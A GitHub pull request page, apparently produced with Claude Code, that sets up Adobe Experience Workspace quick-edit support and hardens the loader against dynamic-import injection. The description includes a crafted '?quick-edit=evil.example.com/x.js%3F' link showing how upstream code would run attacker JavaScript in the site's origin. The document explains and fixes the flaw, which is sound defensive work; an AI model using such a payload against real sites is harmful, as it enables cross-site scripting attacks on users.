Skip to content

Set up Experience Workspace (quick-edit support) - #4

Merged
benpeter merged 1 commit into
mainfrom
experience-workspace-setup
Jun 16, 2026
Merged

benpeter merged 1 commit into
mainfrom
experience-workspace-setup

Conversation

@benpeter

Copy link
Copy Markdown
Owner

Sets up Adobe Experience Workspace for this EDS + DA project, via the experience-workspace plugin (migrate-code + update-config skills), plus a security hardening on the quick-edit loader.

Code changes

  • scripts/scripts.js — export loadPage; add the quick-edit bootstrap that imports tools/quick-edit/quick-edit.js when the ?quick-edit param is present.
  • tools/quick-edit/quick-edit.js (new) — quick-edit loader, based on aemsites/author-kit.

Security hardening (deviation from upstream)

The ?quick-edit URL param feeds the dynamic-import origin. Upstream (author-kit and the EW plugin's generated file) builds https://${ref}--da-nx--adobe.aem.live and import()s it with no validation — so a crafted link like ?quick-edit=evil.example.com/x.js%3F resolves to https://evil.example.com/x.js?--da-nx--adobe.aem.live and executes attacker JS in this site's origin (reflected DOM-XSS, no auth required).

This PR validates the resolved hostname against a trusted da-nx allowlist before importing — robust for any valid ref length/charset and not bypassable via path/query/userinfo tricks. Verified: every legitimate ref (on/local/branch, incl. the 49-char max) passes; every injection payload is rejected.

An upstream issue for aemsites/author-kit is drafted but not yet filed.

DA config (already applied)

editor.path = /benpeter/da-schamdan=https://da.live/canvas# has been written to the DA org config (out of band, verified 201). This makes DA open the Experience Workspace canvas editor.

Deploy note

The DA config is live now, but the canvas won't load quick-edit until this merges — aem-code-sync deploys on push to main.

🤖 Generated with Claude Code

Migrate the codebase for Adobe Experience Workspace per the
experience-workspace plugin's migrate-code skill:

- Export loadPage from scripts.js
- Add the quick-edit bootstrap that loads tools/quick-edit/quick-edit.js
  when the ?quick-edit param is present
- Add tools/quick-edit/quick-edit.js (based on aemsites/author-kit)

Harden the quick-edit loader against dynamic-import injection: the
?quick-edit param feeds the module origin, so the resolved hostname is
validated against a trusted da-nx allowlist before import() rather than
trusting the raw ref. Upstream author-kit omits this guard.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
@aem-code-sync

aem-code-sync Bot commented Jun 16, 2026

Copy link
Copy Markdown

Hello, I'm the AEM Code Sync Bot and I will run some actions to deploy your branch and validate page speed.
In case there are problems, just click a checkbox below to rerun the respective action.

  • Re-run all PSI checks
  • Re-run failed PSI checks
  • Re-sync branch
Commits

@benpeter
benpeter merged commit 830f5d5 into main Jun 16, 2026
1 of 2 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant